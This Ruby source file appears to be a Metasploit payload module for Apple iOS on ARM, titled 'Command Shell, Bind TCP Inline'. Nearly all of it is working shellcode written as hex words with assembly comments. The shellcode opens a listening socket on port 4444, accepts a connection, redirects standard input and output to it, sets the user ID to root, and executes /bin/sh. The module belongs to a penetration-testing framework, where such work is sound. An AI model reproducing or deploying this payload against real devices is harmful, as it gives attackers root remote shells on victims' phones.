##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 200

  include Msf::Payload::Single
  include Msf::Payload::Osx
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Apple iOS Command Shell, Bind TCP Inline',
      'Description'   => 'Listen for a connection and spawn a command shell',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'osx',
      'Arch'          => ARCH_ARMLE,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LPORT'    => [ 30, 'n' ],
            },
          'Payload' =>
            [
              # socket
              0xe3a00002, # mov r0, #0x2
              0xe3a01001, # mov r1, #0x1
              0xe3a02006, # mov r2, #0x6
              0xe3a0c061, # mov r12, #0x61
              0xef000080, # swi 128
              0xe1a0a000, # mov r10, r0
              0xeb000001, # bl _bind

              # port 4444
              0x5c110200,
              0x00000000,

              # bind
              0xe1a0000a, # mov r0, r10
              0xe1a0100e, # mov r1, lr
              0xe3a02010, # mov r2, #0x10
              0xe3a0c068, # mov r12, #0x68
              0xef000080, # swi 128

              # listen
              0xe1a0000a, # mov r0, r10
              0xe3a01001, # mov r1, #0x1
              0xe3a0c06a, # mov r12, #0x6a
              0xef000080, # swi 128

              # accept
              0xe3a0c01e, # mov r12, #0x1e
              0xe1a0000a, # mov r0, r10
              0xe3a01010, # mov r1, #0x10
              0xe50d1018, # str r1, [sp, #-24]
              0xe24d2010, # sub r2, sp, #0x10
              0xe24d3018, # sub r3, sp, #0x18
              0xef000080, # swi 128
              0xe1a0b000, # mov r11, r0

              # setup dup2
              0xe3a05002, # mov r5, #0x2

              # dup2
              0xe3a0c05a, # mov r12, #0x5a
              0xe1a0000b, # mov r0, r11
              0xe1a01005, # mov r1, r5
              0xef000080, # swi 128
              0xe2455001, # sub r5, r5, #0x1
              0xe3550000, # cmp r5, #0x0
              0xaafffff8, # bge _dup2

              # setreuid(0,0)
              0xe3a00000, # mov r0, #0x0
              0xe3a01000, # mov r1, #0x0
              0xe3a0c07e, # mov r12, #0x7e
              0xef000080, # swi 128

              # execve
              0xe0455005, # sub r5, r5, r5
              0xe1a0600d, # mov r6, sp
              0xe24dd020, # sub sp, sp, #0x20
              0xe28f0014, # add r0, pc, #0x14
              0xe4860000, # str r0, [r6], #0
              0xe5865004, # str r5, [r6, #4]
              0xe1a01006, # mov r1, r6
              0xe3a02000, # mov r2, #0x0
              0xe3a0c03b, # mov r12, #0x3b
              0xef000080, # swi 128

              # /bin/sh
              0x6e69622f,
              0x0068732f
            ].pack("V*")
        }
      ))
  end
end
